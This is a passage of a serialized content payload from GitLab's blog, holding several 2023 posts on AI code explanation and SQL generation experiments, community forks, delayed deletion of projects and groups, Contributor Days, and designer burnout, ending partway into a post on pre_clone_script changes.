Api","en-us/blog/rate-limitation-for-unauthorized-users-projects-list-api.yml","en-us/blog/rate-limitation-for-unauthorized-users-projects-list-api",{"_path":10543,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10544,"content":10549,"config":10554,"_id":10556,"_type":16,"title":10557,"_source":17,"_file":10558,"_stem":10559,"_extension":20},"/en-us/blog/explain-this-code",{"title":10545,"description":10546,"ogTitle":10545,"ogDescription":10546,"noIndex":6,"ogImage":8601,"ogUrl":10547,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10547,"schema":10548},"ML experiment: Explain this source code","Learn how GitLab is experimenting with ML-powered source code explanation features in this fourth installment of our ongoing AI/ML in DevSecOps series.","https://about.gitlab.com/blog/explain-this-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ML experiment: Explain this source code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2023-04-06\",\n      }",{"title":10545,"description":10546,"authors":10550,"heroImage":8601,"date":10551,"body":10552,"category":791,"tags":10553},[6860],"2023-04-06","\n\n\u003Ci>This blog post is part of an ongoing series about GitLab's journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). The series starts here: [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/). Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\nDeciphering the source code of a new software project can be a daunting or at least time-consuming task. The code may be poorly documented, or it may be written in a programming language that is unfamiliar to the developer. Even if the developer is familiar with the programming language, the code may be complex and difficult to understand. But what if developers had a helpful tool to figure out very quickly what code was doing? With recent advancements in AI models, it's now possible to have code explained in natural language. \n\n## Explain this code with AI\nAt GitLab, we’re experimenting with AI-assisted code explanations. We want to enable software developers to quickly understand source code they encounter. Whether it's starting with a new project, contributing to a project in a language they're not fluent in, or just trying to understand historical code, we want to help developers get up to speed quickly.\n\nIn a rapid prototype, our own [Denys Mishunov](https://gitlab.com/mishunov), Staff Frontend Engineer, and [Michael Le](https://gitlab.com/mle), Senior Product Designer for our [Create::Source Code group](/handbook/product/categories/#source-code-group), leverage AI to power code explanations within [GitLab's repository source code file viewer](https://docs.gitlab.com/ee/user/project/repository/).\n\n\n![Prototype UX for Explain this Code](https://about.gitlab.com/images/blogimages/explain-this-code-hr.png){: .shadow}\n\nAbove, you can see an example of highlighting a selection of code and asking for a code explanation. Watch the full demo below. \n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/xzsFfFqvlnU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Iterating on AI/ML features\nWhile just an experiment today, we are iterating on how to effectively bring features like this to our customers. We're starting on the repository file viewer, and this prototype can be extended to anywhere you interact with code within GitLab, from [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/) to [snippets](https://docs.gitlab.com/ee/user/snippets.html), and beyond. \n\nThis experiment is just the start of the ways we’re looking to infuse GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI Assisted features. We’ll continue to share these demos throughout this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas. \n\nContinue reading our ongoing series, \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\".\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[4103,695,754,790],{"slug":10555,"featured":6,"template":678},"explain-this-code","content:en-us:blog:explain-this-code.yml","Explain This Code","en-us/blog/explain-this-code.yml","en-us/blog/explain-this-code",{"_path":10561,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10562,"content":10567,"config":10572,"_id":10574,"_type":16,"title":10575,"_source":17,"_file":10576,"_stem":10577,"_extension":20},"/en-us/blog/gitlab-community-forks",{"title":10563,"description":10564,"ogTitle":10563,"ogDescription":10564,"noIndex":6,"ogImage":9425,"ogUrl":10565,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10565,"schema":10566},"Community forks: A new, easier way to contribute to GitLab","Learn how we tackled a number of pain points and introduced an alternative to personal forks for open-source community contributions.","https://about.gitlab.com/blog/gitlab-community-forks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Community forks: A new, easier way to contribute to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lee Tickett\"}],\n        \"datePublished\": \"2023-04-04\",\n      }",{"title":10563,"description":10564,"authors":10568,"heroImage":9425,"date":10569,"body":10570,"category":299,"tags":10571},[810],"2023-04-04","\nAt GitLab, we believe [everyone can contribute](/company/mission/#mission).\nIn my role, as a member of GitLab's Contributor Success team, I'm focused on ensuring that contributing to GitLab is as easy and rewarding as possible. In this article, I will share a recent experiment in improving the GitLab contributor experience for community members: community forks.\nI'll explain what they are and, more importantly, the positive impact we've seen community forks have on contirbutions to GitLab.\n\n## What is a community fork?\n\nGitLab team members and wider community members have different levels of access to canonical GitLab projects. GitLab team members can contribute directly to the GitLab codebase; wider community members need to work from forks in order to contribute. This leads to two very different experiences. If you'd previously tried to contribute to GitLab from a personal fork, you probably encountered one of the following frustrations:\n\n* You need to fork the project before you can begin working on a code contribution. (This can take a while for big projects such as\n  [GitLab](https://gitlab.com/gitlab-org/gitlab) and [www-gitlab-com](https://gitlab.com/gitlab-com/www-gitlab-com/).)\n* Collaboration is \"opt-in\". That is, a contributor must manually opt-in to allow maintainers to push commits to their merge requests,\n  and community members cannot push commits to team member branches.\n* Free tier quotas apply to individual contributors' forks. This can create a challenge when frequent contributors use up their free CI minutes allocation.\n* Personal forks need to be regularly updated (rebased) against the canonical projects.\n\nTo address issues like these in the past, we'd developed and introduced solutions like [cost factors](https://docs.gitlab.com/ee/ci/pipelines/cicd_minutes.html#cost-factor-for-community-contributions-to-gitlab-projects). Those worked to alleviate individual pain points, but our team wanted to test another idea, one we thought could address a number of these contribution hurdles at once.\n\nDrawing inspiration from [Moshe Weitzman](https://gitlab.com/weitzman) and a [similar solution from the Drupal project](https://gitlab.com/drupalspoons/webmasters/-/blob/master/docs/onboarding_user.md),\nwe imagined establishing a \"community fork\" of GitLab. Instead of working on innumerable, individual, isolated forks of GitLab,\nwider community members could **all** contribute to a **single, shared fork** of GitLab available to everyone.\n\n## Building the first fork\n\nI spun up an [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/378608) and started to bounce ideas around.\nWe were sure to involve the GitLab security team and the wider community before starting an experiment.\nAfter some conversations, I took a [bias for action](https://handbook.gitlab.com/teamops/decision-velocity/#bias-for-action) and created the first community fork.\nI shared this with a few regular community contributors (thank you, [Marco](https://gitlab.com/zillemarco) and [Niklas](https://gitlab.com/Taucher2003) for beta testing and now also maintaining the forks).\nAfter a few weeks, we didn't encounter any problems, so we started spinning up forks of more GitLab projects, and invited more community members to join us.\n\nWe believe community forks have the following effects (you'll note that these tie back to the contribution challenges outlined above):\n\n* **Promote collaboration**\n  * Community members and team members can work on the same merge request (pushing commits to eachother's branches).\n  * They can also take over stuck/idle merge requests (from each other and from team members).\n* **Remove blockers**\n  * Personal CI minute and storage quotas do not apply to the community forks as they are part of the [GitLab for Open Source Program](https://about.gitlab.com/handbook/marketing/developer-relations/community-programs/opensource-program/#gitlab-for-open-source-program)\n  which provides GitLab Ultimate tier benefits (including larger quotas).\n* **Improve efficiency**\n  * There is no longer a need to create a personal fork to get started contributing.\n  * Danger runs automatically, without the need to configure personal access tokens and CI variables.\n  * Pull mirroring keeps the community forks up to date, without regular manual rebasing.\n\n## What's next for community forks?\n\nThe experiment was considered a success based on the following:\n\n* The problems identified and effects predicted were confirmed.\n* Adoption has been simple. \n* Feedback has been positive (both from community members and GitLab team members).\n* No blocking issues/concerns have been identified.\n\nThus, we are moving from \"experiment\" to \"production\".\n\nThe community forks concept forms part of my team's Q1 (February - April) objectives and key results (OKRs).\nAs such, we have started updating the documentation and contributor guides and looking at opportunities\nfor automation and promotion (for example, via [`@gitlab-bot`](https://gitlab.com/gitlab-org/quality/triage-ops/-/merge_requests/1993)).\n\nWe're also looking for opportunities to handle forks differently in the product.\nFor example, there are several areas (such as the WebIDE) that only check for personal forks and don't consider other types of fork.\nSome backend [pre-requisite work](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/112167) has already started to facilitate this.\n\nWe have been working on automating and managing the community forks via Terraform.\nThis will make the process quicker, easier, and less prone to human error.\n\nThe Contributor Success team is already [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) the community forks, and promoting internally,\nhoping that eventually all GitLab team members will use the community forks.\nWe'd love other open source projects to experiment with the concept and it become a new \"norm\" in community-driven open source software development.\n\nYou can read more about the community forks in the [meta project](https://gitlab.com/gitlab-community/meta).\nThere you'll also find instructions for requesting access to community forks.\nIf you have additional questions, why not ask our community members over on [Discord](https://discord.gg/gitlab)?\n",[2704,267],{"slug":10573,"featured":6,"template":678},"gitlab-community-forks","content:en-us:blog:gitlab-community-forks.yml","Gitlab Community Forks","en-us/blog/gitlab-community-forks.yml","en-us/blog/gitlab-community-forks",{"_path":10579,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10580,"content":10585,"config":10590,"_id":10592,"_type":16,"title":10593,"_source":17,"_file":10594,"_stem":10595,"_extension":20},"/en-us/blog/delayed-deletion",{"title":10581,"description":10582,"ogTitle":10581,"ogDescription":10582,"noIndex":6,"ogImage":9425,"ogUrl":10583,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10583,"schema":10584},"Updates to GitLab’s delayed deletion feature for projects and groups","Deletion will be delayed by default to help customers avoid costly and time-consuming group and project recoveries.","https://about.gitlab.com/blog/delayed-deletion","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Updates to GitLab’s delayed deletion feature for projects and groups\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Lohr\"}],\n        \"datePublished\": \"2023-04-03\",\n      }",{"title":10581,"description":10582,"authors":10586,"heroImage":9425,"date":10587,"body":10588,"category":736,"tags":10589},[830],"2023-04-03","\n\nTo prevent accidental deletion of projects and groups, starting in GitLab 16.0, the delayed deletion feature will be turned on by default for all GitLab Ultimate and Premium customers.\n\nThe GitLab support team frequently assists customers who have accidentally deleted groups or projects. Accidental deletions can be a costly, time-consuming, and frustrating process for customers. These incidents can often be prevented simply by enabling the deletion protection setting. Previously, projects were removed immediately upon deletion by default, and it was necessary for an administrator or group owner to turn on deletion protection. \n\nAs part of 16.0, starting on May 22, the option to delete groups and projects immediately from the Admin Area and as a group setting will be removed. Instead, delayed group and project deletion will become the default behavior for the Ultimate and Premium tiers (SaaS and self-managed).\n\n## How project and group delayed deletion works\nSelf-managed users will have the option to define a deletion delay period of between 1 and 90 days, and SaaS users will have a non-adjustable default retention period of 7 days. \n\n![Setting selection](https://about.gitlab.com/images/blogimages/2023-04-06-delayed-deletion-will-protect-groups-and-projects/setting-selection.png)\n\nUsers of Ultimate and Premium groups can still delete a group or project immediately from the group or project settings via a two-step deletion process. Group or project deletions can be performed by accessing the Settings menu and looking for the deletion option in the Advanced section of the General settings menu. \n\n![Project deletion first](https://about.gitlab.com/images/blogimages/2023-04-06-delayed-deletion-will-protect-groups-and-projects/project-deletion-first.png)\n\nA confirmation is required to delete the group or project, which then puts the deletion into a pending state:\n\n![Deletion confirmation first](https://about.gitlab.com/images/blogimages/2023-04-06-delayed-deletion-will-protect-groups-and-projects/deletion-confirmation-first.png)\n\nProjects are renamed automatically during this step, and `-deleted-[projectID]` is added to the project name. This means that you can create a new project with the same name as the deleted project immediately. Groups do not exhibit this behavior yet and keep their original name. In the future, we plan to change the name for groups automatically during the deletion process just like for projects, so that you will be able to create new groups with the same name right away. \n\nNext, if you want to completely remove the group or project, you can access the Advanced section of the General settings menu again. You will see information about the scheduled deletion date for the group or project in question. \n\n![Project restore](https://about.gitlab.com/images/blogimages/2023-04-06-delayed-deletion-will-protect-groups-and-projects/project-restore.png)\n\nIf you want to continue and completely delete the project, simply follow the deletion flow again. \n\n![Project deletion second](https://about.gitlab.com/images/blogimages/2023-04-06-delayed-deletion-will-protect-groups-and-projects/project-deletion-second.png)\n\nAfter confirming that you want to proceed with the deletion, the group or project in question will be removed right away, which is confirmed by the following message:\n\n![Deletion confirmation second](https://about.gitlab.com/images/blogimages/2023-04-06-delayed-deletion-will-protect-groups-and-projects/deletion-confirmation-second.png)\n\nAs part of this change, we will also update the API and remove the `delayed_project_deletion` and `delayed_group_deletion` parameters from the /application/settings API Task actions. In addition, the API will follow the UI behavior and will require a double confirmation to completely delete a group or project.\n\n**Note:** Delayed deletion is not applied to Free tier projects or groups.\n\n## We welcome your feedback\nWe believe that this change will contribute to a safer deletion process and will be beneficial in preventing accidental deletions. If you have feedback on this change, please comment on [this delayed deletion feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/396996). We'd love to hear from you!  \n\n",[695,736,2705],{"slug":10591,"featured":6,"template":678},"delayed-deletion","content:en-us:blog:delayed-deletion.yml","Delayed Deletion","en-us/blog/delayed-deletion.yml","en-us/blog/delayed-deletion",{"_path":10597,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10598,"content":10603,"config":10608,"_id":10610,"_type":16,"title":10611,"_source":17,"_file":10612,"_stem":10613,"_extension":20},"/en-us/blog/ml-experiment-sql",{"title":10599,"description":10600,"ogTitle":10599,"ogDescription":10600,"noIndex":6,"ogImage":8601,"ogUrl":10601,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10601,"schema":10602},"ML experiment: Writing SQL is about to get a lot easier","Learn how GitLab is experimenting with ML-powered product features in this third installment of our ongoing AI/ML in DevSecOps series.","https://about.gitlab.com/blog/ml-experiment-sql","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ML experiment: Writing SQL is about to get a lot easier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2023-03-30\",\n      }",{"title":10599,"description":10600,"authors":10604,"heroImage":8601,"date":10605,"body":10606,"category":791,"tags":10607},[6860],"2023-03-30","\n\n\u003Ci>This blog post is part of an ongoing series about GitLab's journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). The series starts here: [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/). Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\nSQL, the structured query language, has long been the backbone of data analysis and manipulation. But let's face it, not everyone is an SQL wizard. For many, writing even a simple SQL query can be a daunting task, let alone tackling more advanced queries. Even experienced data analysts spend lots of time and effort writing and debugging complex queries just to answer simple business intelligence questions.\n\nWith the recent advancements in AI and natural language processing, it's now possible for AI models to generate SQL code from simple English language queries. This means that even people without a deep understanding of SQL can generate complex queries to analyze their data. This technology not only improves accessibility but can also save valuable time and effort for data analysts.\n\n## AI-assisted SQL generation\nAt GitLab, we’re experimenting with AI-assisted SQL generation in our [Product Analytics group](https://docs.gitlab.com/ee/user/product_analytics/). This area is focused on helping users understand and gain insights from usage patterns. GitLab Product Analytics can track events within your project applications, which enables you to explore your data and generate dashboards with interactive graphs and charts. You can use our visual designer or YAML to define them, and we envision it becoming even easier with AI assistance. You can learn more about our Product Analytics plans in our [sneak peek blog post](/blog/introducing-product-analytics-in-gitlab/).\n\nIn a simple experiment, our own [Tim Zallmann](https://gitlab.com/timzallmann), Senior Director of Engineering, prototyped leveraging AI-generated queries from simple natural language parsing. The results quickly showcase how powerful using natural language can be to help generate the SQL to populate the Product Analytics dashboards. \n\n![Animated gif image of SQL generation](https://about.gitlab.com/images/blogimages/sql-query-generation-lg.gif){: .shadow}\n\nAbove, you can see an example of how we're using natural language to generate SQL queries to power dashboard charts and graphs. You can watch the full demo in the video below. \n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/q3HZy0P0ugw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Iterating on AI/ML features\nWhile just an experiment today, we are iterating on how to effectively bring features like this to our customers. This experiment is just the start of many ways we’re looking to infuse GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI Assisted features. We’ll be sharing more of these demos in this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our ongoing series, \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\".\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[4103,695,754,790],{"slug":10609,"featured":6,"template":678},"ml-experiment-sql","content:en-us:blog:ml-experiment-sql.yml","Ml Experiment Sql","en-us/blog/ml-experiment-sql.yml","en-us/blog/ml-experiment-sql",{"_path":10615,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10616,"content":10622,"config":10627,"_id":10629,"_type":16,"title":10630,"_source":17,"_file":10631,"_stem":10632,"_extension":20},"/en-us/blog/gitlab-contributor-days",{"title":10617,"description":10618,"ogTitle":10617,"ogDescription":10618,"noIndex":6,"ogImage":10619,"ogUrl":10620,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10620,"schema":10621},"Why we launched GitLab Contributor Days","Inside our decision to create an event where our contributors could gather in person to collaborate.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668213/Blog/Hero%20Images/innersourcing-improves-collaboration-within-an-organization.jpg","https://about.gitlab.com/blog/gitlab-contributor-days","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we launched GitLab Contributor Days\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lee Tickett\"}],\n        \"datePublished\": \"2023-03-29\",\n      }",{"title":10617,"description":10618,"authors":10623,"heroImage":10619,"date":10624,"body":10625,"category":299,"tags":10626},[810],"2023-03-29","\n\nGitLab hosted our first Contributor Days event in March as a fringe event of [CfgMgmtCamp](https://cfgmgmtcamp.eu/ghent2023/), which was held at [FOSDEM](https://fosdem.org/).\n\n## What is GitLab Contributor Days?\n\nGitLab Contributor Days is an in-person, unconference-style event geared toward collaboration. Attendees can work on contributions and engage with the wider community and GitLab team members. Mentors are on hand to help answer questions and collaborate on contributions.\n\n## How did GitLab Contributor Days come to be?\nMy role as a member of the GitLab's Contributor Success team is to improve the contributor journey. In the past, as an external GitLab community member, I wrote about [my own contributor journey](https://about.gitlab.com/blog/lee-tickett-my-gitlab-journey/)\nand [how being a GitLab Hero can elevate your company](https://about.gitlab.com/blog/gitlab-heroes-unmasked-elevating-my-company-using-gitlab/). I know how important it is to foster a sense of community among our contributors.\n\n[GitLab's hackathons](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/-/issues/27) accomplish this virtually, but I missed the in-person interaction. So I explored the idea of community building and contributing at in-person events. I started, as all things do at GitLab, with [an issue outlining the GitLab Contributor Days idea](https://gitlab.com/gitlab-org/quality/contributor-success/team-task/-/issues/63) and my team fully supported me.\n\nWe had a rough date and venue in mind, but after seeing how close it was to FOSDEM, [Nick Veenhof](https://gitlab.com/nick_vh), Director of Contributor Success, suggested tying it in as a fringe event to tap into a pool of potential contributors who could drop in while at the event.\n\n## The GitLab Contributor Days experience\n\nFOSDEM provided a great opportunity for GitLab team members to connect face-to-face – many, for the first time.\nSeeing how much everyone loves GitLab and just enjoyed stopping by, smiling, and taking some stickers, gave me that warm fuzzy feeling – very much the reason I became part of the GitLab community in the first place.\n\nOur fluid format worked well and included:\n* Live pairing with [Marco Zille](/company/team/?department=core-team#zillemarco) from the GitLab Core team\n* [Raimund Hook](https://gitlab.com/stingrayza) working on merge requests at the booth\n* Additional code-pairing throughout the event\n\nWe had a number of contributors spend the whole day with us, and plenty of drop-ins. We also garnered ideas to iterate our next event.\n\n## Collaborating on issues\nThe [curated issue list](https://gitlab.com/gitlab-org/quality/contributor-success/contributor-days/-/issues/1) provided a great starting point for attendees to dig in and collaborate with one another. Next time, we might use Post-It notes so contributors can see the collaboration progress in real time. \n\nHere are the livestreams from some of our collaboration sessions:\n\n* [Live stream 1: Frontend form field validation](https://youtu.be/_smqyD2I5UI)\n* [Live stream 2: Issue triaging](https://youtu.be/LumKxEa32cg)\n* [Live stream 3: Getting started with GDK and GitPod](https://youtu.be/uRJwNLnH_z4)\n\n\nIn addition to those already mentioned above, here are some GitLab team members and community members who participated and their contributions:\n\n* [Felix](https://gitlab.com/l33tname): [improve CSV import docs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/111299)\n* [Marcel](https://gitlab.com/kornegoor): [improve CSV import docs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/111339)\n* [Michael](https://gitlab.com/mikeblum): [fix gitlab/v1 API with database disabled](https://gitlab.com/gitlab-org/container-registry/-/merge_requests/1210)\n* [Laurent](https://gitlab.com/ali_o_kan): [improve devise error message](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/111445)\n* [Jon](https://gitlab.com/jdyb): [API to list project uploads](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/111444)\n* [Declon](https://gitlab.com/ideclon): [expose Discord via the API](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/111342)\n\nI'd like to also thank [Toshaan](https://www.linkedin.com/in/toshaan/) and [Kris](https://www.linkedin.com/in/krisbuytaert/) for hosting us.\n\nStay tuned for an announcement of our next Contributor Days event. Until then, join us on [Discord](https://discord.gg/gitlab) for our weekly livestreams, or for our upcoming [hackathon](/community/hackathon/).\n",[2704,267],{"slug":10628,"featured":6,"template":678},"gitlab-contributor-days","content:en-us:blog:gitlab-contributor-days.yml","Gitlab Contributor Days","en-us/blog/gitlab-contributor-days.yml","en-us/blog/gitlab-contributor-days",{"_path":10634,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10635,"content":10641,"config":10646,"_id":10648,"_type":16,"title":10649,"_source":17,"_file":10650,"_stem":10651,"_extension":20},"/en-us/blog/avoiding-burnout-as-product-designers",{"title":10636,"description":10637,"ogTitle":10636,"ogDescription":10637,"noIndex":6,"ogImage":10638,"ogUrl":10639,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10639,"schema":10640},"Tips to avoid burnout for product designers","Effective prioritization and boundary setting are critical to product designers' growth.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670082/Blog/Hero%20Images/productdesign.jpg","https://about.gitlab.com/blog/avoiding-burnout-as-product-designers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tips to avoid burnout for product designers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Veethika Mishra\"}],\n        \"datePublished\": \"2023-03-28\",\n      }",{"title":10636,"description":10637,"authors":10642,"heroImage":10638,"date":10643,"body":10644,"category":8943,"tags":10645},[5114],"2023-03-28","\n\nProduct designers often choose to become a designer because of the hard-to-beat and attractive promise that accompanies it: improving the lives of people by adding value through design. Being a designer, I can vouch for how fulfilling and rewarding it can be to see a bud of an idea grow into a feature that is enjoyed by users. However, the demands of product designers can quickly become overwhelming as roles, products, and teams evolve - if left unchecked, this can result in burnout. In this blog, I will discuss how to avoid burnout by being intentional about time management and communication.\n\n## What is a product designer’s scope?\nAt GitLab, similar to many other software companies, [product designer responsibilities](https://handbook.gitlab.com/job-families/product/product-designer/) span designing thoughtfully crafted experiences, playing a central role in the overall business contributions, and everyday collaboration with key product stakeholders. The spectrum has grown over time, leading to a general misconception among designers that they are required to overreach their potential to prove their pedigree. Instead, taking up the right responsibility at the right time and doing it well often produces better results.\n\n## Define your own frame\nEach product designer envisions growth differently. In the pursuit of growth, to demonstrate specific expertise or leadership qualities, each designer may have a unique goal in mind in terms of the means you want to employ or the results you seek from that goal. Also, this implies that you cannot trust a generic template approach to map your priorities. The lens you use to distinguish important responsibilities and tasks from the rest are unique and your planning and rituals should be as well. \n\n## Establish an availability baseline\nA couple years ago, my manager, [Rayana Verissimo](https://gitlab.com/rayana), gave me a task of writing down an approximate estimation of how much time I plan to dedicate to each of the major responsibilities in my role. The math seemed simple at first: I work 40 hours a week and I had a list of about eight responsibilities. I had an idea in mind on how to divide up those responsibilities. What could go wrong? \n\nAs they say, life happens while we’re busy making other plans. I was preparing to move between countries and, in that same timeframe, our team was onboarding a new product manager. Without realizing it, I began spending a considerable amount of time at work on admin-related tasks and getting my processes in sync with my new product manager. These shifts were unannounced and unavoidable. Such surprise challenges are a part of all of our lives, though the form may vary. But when they happen, it is best to be accepting of them and keep some wiggle room in your time allotment estimation to accommodate them without disturbing the rest of your plan. \n\nThere are different ways to understand and manage your capacity. [Sunjung Park](https://gitlab.com/sunjungp), a product designer at GitLab, relies on the [UX issue weights](/handbook/product/ux/product-designer/#ux-issue-weights) framework to maintain a closer to accurate predictability of her tasks for a release cycle. I personally like to use the same and communicate my capacity for the release cycle to the team using a [planning issue](https://gitlab.com/gitlab-org/gitlab/-/issues/386189).\n\n## Assess the importance of a task to you \nDespite the evident benefits, [McKinsey Design Index](https://www.mckinsey.com/capabilities/mckinsey-design/our-insights/the-business-value-of-design) proved to be the very sign that the tech and other industries had always been looking for to validate the correlation between design and financial performance of an organization. Realizing how it can help them differentiate in the industry and directly impact revenue streams, organizations now expect designers to make some business-critical decisions, thereby expanding their responsibilities to be more cross-functional.\n\nThis evolution has led product designers to jump at every opportunity and request. However, if you do not take a moment to assess the “why” of the opportunity or request, you’re merely setting yourself up for failure. Product designers can ask some questions to help decide whether to take on the project:\n- Does the project require my expertise and skills, or help me develop one that aligns with my personal goals?\n- Does the project contribute to the business' goals?\n- Is this project something that someone else can do better than I can - while I invest my time doing something that I can do more confidently? \n- Am I on the same page with the requestor in terms of expectations and time commitment?\n- Will my delivery plan get impacted if I commit to this project? If so, what trade-offs can or need to be made?\n\n## Build trust and communicate transparently\nThe urge to say “yes” is an instinct of human behavior. However, when you say yes to every request from our peers/colleagues, you feed the [cycle of responsiveness](https://hbr.org/2012/05/are-you-sleeping-with-your-sma) to become more intense, to a point where you no longer can respond to the demand. This overwhelming wave of expectations puts you in a position where you stop exercising your creative muscles out of exhaustion and merely keep working more and more, driving down the quality of results. Making it a false victory, if one at all. Ironically, this, in turn, impacts the very relationship that you said “yes” to in the first place.\n\nI have already talked about how to decide if an opportunity or request is aligned to your goals. If the answer to that is “it isn’t,” the next thing you need to do is communicate that clearly to the requester. \n\nA plain “no” can easily be perceived as rude, but kindly communicating an honest and straightforward reason will have a higher chance of building trust with your peers than saying yes and delivering substandard results. The GitLab sub-value [Directness](https://handbook.gitlab.com/handbook/values/#directness) emphasizes the importance of transparent communication with colleagues. Another method a few members of my team, including me, use for maintaining transparency in everyday priorities is [documenting them publicly](https://gitlab.com/veethikaa/veethika-planner/-/blob/master/Weekly%20Priorities/weekly-priorities.md) in a GitLab project and keeping them visible to the team and our counterparts. \n\n## A checklist to avoid burnout\nIf you're looking to continue to enjoy your work as a product designer while also growing in your job, the following tips can help:\n\n- Take a step back and try to understand your own drives and motivations so you can more effectively plan your path ahead.\n- Be realistic about your capacity and potential trade-offs, and communicate the same to your team transparently.\n- Be discerning while taking up a new opportunity, ensure it aligns with your goals, and be comfortable passing it along to a colleague that is better suited if it doesn't.\n- Keep your communication honest, humble, and non-ambiguous to avoid miscalculated commitments that can harm relationships with your peers.\n\nMindfully and intentionally assessing a new opportunity rather than reacting by impulse can play a major role in setting yourself, and your colleagues, up for success, resulting in a happier, more impactful, and less stressful work environment.\n\n_Cover image by \u003Ca href=\"https://unsplash.com/@freestocks?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">freestocks\u003C/a> on \u003Ca href=\"https://unsplash.com/photos/vcPtHBqHnKk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>_\n",[2249,2248,3798],{"slug":10647,"featured":6,"template":678},"avoiding-burnout-as-product-designers","content:en-us:blog:avoiding-burnout-as-product-designers.yml","Avoiding Burnout As Product Designers","en-us/blog/avoiding-burnout-as-product-designers.yml","en-us/blog/avoiding-burnout-as-product-designers",{"_path":10653,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10654,"content":10659,"config":10664,"_id":10666,"_type":16,"title":10667,"_source":17,"_file":10668,"_stem":10669,"_extension":20},"/en-us/blog/changes-to-the-preclonescript",{"title":10655,"description":10656,"ogTitle":10655,"ogDescription":10656,"noIndex":6,"ogImage":9425,"ogUrl":10657,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10657,"schema":10658},"Guide to pre_clone_script changes on GitLab SaaS Linux Runners","Learn about the change from CI_PRE_CLONE_SCRIPT to pre_get_sources_script on GitLab SaaS Linux Runners.","https://about.gitlab.com/blog/changes-to-the-preclonescript","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Guide to pre_clone_script changes on GitLab SaaS Linux Runners\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Eastman\"}],\n        \"datePublished\": \"2023-03-27\",\n      